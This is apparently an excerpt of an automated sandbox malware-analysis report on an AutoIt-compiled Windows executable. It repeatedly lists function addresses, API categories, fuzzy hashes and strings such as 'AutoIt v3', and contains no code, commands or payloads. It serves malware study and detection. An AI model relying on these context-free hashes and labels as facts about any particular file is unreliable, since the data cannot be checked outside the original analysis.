                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                          • Instruction ID: 7a94a55f571ba794007e1eb3e6a7ffe4a0bf869e90784fc185063e06be89c9f9
                                                          • Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
                                                          • Instruction Fuzzy Hash: AE116D7294964686EA15BF50D4442BDFB63FF80350FE04132EA5E062D6DFBCE502CB20
                                                          Function 00007FF787BA48EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
                                                          • Instruction ID: 6f4ca14c5bd4a559da2db1747bcf946bca94e9ce2ec057b183f26612fc0caebb
                                                          • Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
                                                          • Instruction Fuzzy Hash: 3F01D431E8A20745FD16BA6B9411BB9D9537F85774FB40630E92F462C2CD7CE843C221
                                                          Function 00007FF787BA4970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                          • Instruction ID: 836cc710df26e1c6f323fbaed48fec2e9941d8c2bad75fc85fff314adf95925a
                                                          • Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
                                                          • Instruction Fuzzy Hash: CFF0F631A8D1434AE916B66B640167EEA827F40360FB40130E91F462CBDE2CD413C220
                                                          Function 00007FF787B7652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00007FF787BA4970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF787BA4999
                                                          • FreeLibrary.KERNEL32(?,?,?,00007FF787BBC8FE), ref: 00007FF787B7656F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FreeLibrary_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3938577545-0
                                                          • Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                          • Instruction ID: 3e9c2c09cb1ab5341e2cebfaa7f77417cfc97a693d3ec13f954cf4a46315cf3f
                                                          • Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
                                                          • Instruction Fuzzy Hash: 48F05E62A59A0987FF19EF79D0563386B61BB68F4CFA80530CA0F4B189CF2CD455D361
                                                          Function 00007FF787B94C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • Concurrency::cancel_current_task.LIBCPMT ref: 00007FF787B94C5C
                                                            • Part of subcall function 00007FF787B95600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF787B95609
                                                            • Part of subcall function 00007FF787B95600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF787B9561A
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
                                                          • String ID:
                                                          • API String ID: 1680350287-0
                                                          • Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
                                                          • Instruction ID: 080a4ad3d0f7438558d13f951725eb93e2b6527c1cfabcad8b037ca85e7743c5
                                                          • Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
                                                          • Instruction Fuzzy Hash: D4E0B670EEE10B4AF968B56615553BA89522F59371EF81B30E93F852C2FD1CA457C130
                                                          Function 00007FF787BEB334 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: FileWrite
                                                          • String ID:
                                                          • API String ID: 3934441357-0
                                                          • Opcode ID: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                          • Instruction ID: da0677a5d2f95ce762bfbf2eca5c1bba82bc4f6094c92f40f21ddcceef536565
                                                          • Opcode Fuzzy Hash: a0a1439e265e291f150910246ad1a366446c83d0ba354e2dc0beef75c9ab4ebe
                                                          • Instruction Fuzzy Hash: CAE01522A18A9182D720DB06F44021AE770FB89BD8FA44525EB8C47B19CF7DC5528B80
                                                          Function 00007FF787B73EB4 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: LongNamePath
                                                          • String ID:
                                                          • API String ID: 82841172-0
                                                          • Opcode ID: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                          • Instruction ID: 28431eaaeaeeb2e06281271b4bde50256e146e50216de029c2958f4ce8a4eac3
                                                          • Opcode Fuzzy Hash: 637964e6b351f452a28879436c201a5e99f96031ec26c8877a7972d1003a59f1
                                                          • Instruction Fuzzy Hash: 32E0D822B0874181D721E729F584399E366FF8C7C4F644031EE8D4775ACD6CC585CB10
                                                          Function 00007FF787B75D88 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: IconNotifyShell_
                                                          • String ID:
                                                          • API String ID: 1144537725-0
                                                          • Opcode ID: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                          • Instruction ID: 6c6ed790fc9da24815f67fcf1b4ca91f3cf095d46385ac9004a409a05612bcb5
                                                          • Opcode Fuzzy Hash: 8549ef6000eb42c958f03a95ba6a5408167db34924d740ad0d6437c30ec5f920
                                                          • Instruction Fuzzy Hash: 8DF0823195978187E361AB54E444775BAA9F784348FE44039D19E07395CF3CD346CF10
                                                          Function 00007FF787B71080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Open_onexit
                                                          • String ID:
                                                          • API String ID: 3030063568-0
                                                          • Opcode ID: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                          • Instruction ID: 25c056b6bf9d725206db01b48f76db8a6c730732748201e2200eaccb5d2cdd4c
                                                          • Opcode Fuzzy Hash: b140cdc24b49e8f2daa3c32c26d085363ec4fbb544eeb351244c2f0ff3a01b4f
                                                          • Instruction Fuzzy Hash: C5E08C60FAA94B80EA04B779D8C517487927F52345FE0953AC02E82352EE1CD2A3C324
                                                          Function 00007FF787B710E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentVersionWow64_onexit
                                                          • String ID:
                                                          • API String ID: 2932345936-0
                                                          • Opcode ID: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                          • Instruction ID: 250e1ca4f801f6429ab14de9faae13ef89794684450794f7553e618630f77247
                                                          • Opcode Fuzzy Hash: 03ad02108163b1b9c24d53c6048626981572e85475d5139af19f078af1ef234b
                                                          • Instruction Fuzzy Hash: 52C01220EF944BC0E60873BA8C962B546916FA5350FF00136C11F80282FD0C51E78631
                                                          Function 00007FF787B71064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _onexit
                                                          • String ID:
                                                          • API String ID: 572287377-0
                                                          • Opcode ID: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                          • Instruction ID: 595f3470d10be98f3fb84afe9aa28079a9bf129d8bba0b25d2ff6fbfc595973f
                                                          • Opcode Fuzzy Hash: 5447c473e94d7294484c99fc93f4d38cb7bf7a8a438e953c913b8a13f1fa59d2
                                                          • Instruction Fuzzy Hash: 70C01221EFE44BC1E50873BA4C9A17945922FA5310FF40135D01F80282ED1C51E7C631
                                                          Function 00007FF787B71048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _onexit
                                                          • String ID:
                                                          • API String ID: 572287377-0
                                                          • Opcode ID: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                          • Instruction ID: f75f9207320eec1ee8c8255057684bf3f63f4fabf6dc30c62187dcacf7e2a9ea
                                                          • Opcode Fuzzy Hash: 773ed23fe7bc1dd7e8b75972c2a26041a0abafe16c5f42d1a8e6024edf34d541
                                                          • Instruction Fuzzy Hash: 27C01220EFA44BC1E50877BA4C9617545912FE9350FF00535C01F84282ED0C51E78721
                                                          Function 00007FF787BF7E48 Relevance: 1.4, APIs: 1, Instructions: 163COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast
                                                          • String ID:
                                                          • API String ID: 1452528299-0
                                                          • Opcode ID: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                          • Instruction ID: 96698bbc495adb04d150fefff84c7192fe51e23e96aa52e7f69ae9ab1ee88bc0
                                                          • Opcode Fuzzy Hash: b1ea28e244f60b4af54ff34aaaf102a183879d86c5d4002b95e89690f8712e5a
                                                          • Instruction Fuzzy Hash: 38714C32B44A4186EB10FF79D0913ADAB62FB44B94FA44535DE0E57796CF38D446C360
                                                          Function 00007FF787BAC51C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: AllocHeap
                                                          • String ID:
                                                          • API String ID: 4292702814-0
                                                          • Opcode ID: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                          • Instruction ID: 3852665606908e445bc81f59d607a47289fbf5dc6a68d0a5c691aa47925f1293
                                                          • Opcode Fuzzy Hash: d6cab95e1f74feff6e8dd6f9a30a9cf55c0df8872244003ab96fdfaeeafef6ec
                                                          • Instruction Fuzzy Hash: F4F0D061A9A24689FE55B6625912279D5437F94BA0FE84630E82F862C1DD6CE842C530

                                                          Non-executed Functions

                                                          Function 00007FF787C056A0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 476filecommemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                          • String ID: $AutoIt v3$DISPLAY$static
                                                          • API String ID: 2211948467-2373415609
                                                          • Opcode ID: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                          • Instruction ID: 9efa90b25cd3e2b73cc92d3da367634edadb7eb472d56990ec5d0f00738eb258
                                                          • Opcode Fuzzy Hash: 8e2f89096802004413711948fd726798781e069153c0ca8acc30819db0585273
                                                          • Instruction Fuzzy Hash: 5F22B136A58A418BE710EF29E88456EB7A5FB88B94FA04135DE4F47B64CF3CD446CB10
                                                          Function 00007FF787C217C0 Relevance: 70.6, APIs: 38, Strings: 2, Instructions: 587windowkeyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$ClientScreen$LongStateWindow$CursorMenuPopupTrack$ParentProc
                                                          • String ID: @GUI_DRAGID$F
                                                          • API String ID: 1993697042-4164748364
                                                          • Opcode ID: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
                                                          • Instruction ID: 39bb35637e56b55c7357e402fec2338cb6e0bf25fe18118b0aca1b63aeb416f6
                                                          • Opcode Fuzzy Hash: 56f72f09bbed6945763f30ad9d633d39a2232c5a8ce1cdf1e6a0990a4f5aa755
                                                          • Instruction Fuzzy Hash: DD529532B68A4696EB50EF25D8846B9A765FF84B94FA04135DB1F037A4CF3CE492C710
                                                          Function 00007FF787C1CE8C Relevance: 69.5, APIs: 46, Instructions: 540windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: DeleteDestroyIconImageLoadLongMessageObjectSendWindow
                                                          • String ID:
                                                          • API String ID: 3481653762-0
                                                          • Opcode ID: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
                                                          • Instruction ID: f9592aa7f838474dc7953f0e1526651c7ea8fc4a7ebe9655f16d476bb43e4438
                                                          • Opcode Fuzzy Hash: 0009db8de3ffea259ba8a46f35c7ba5ff9efa5b40b0df71df5247db5c8e89bc7
                                                          • Instruction Fuzzy Hash: AD32CF36A58A8186E750EF25E4446BEB7A4FB84B94FA04135DE5F43B94CF3CE442C720
                                                          Function 00007FF787C032AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                          • String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
                                                          • API String ID: 2910397461-2439800395
                                                          • Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                          • Instruction ID: df17ce02c2683de1907c1d158a4905f641c1e56208eb49009410e441558e73d4
                                                          • Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                          • Instruction Fuzzy Hash: 23E1B076A5868187E710EF25F84066ABBA4FB88B94FA04135DA4F57B64CF7CE046CB10
                                                          Function 00007FF787B94514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
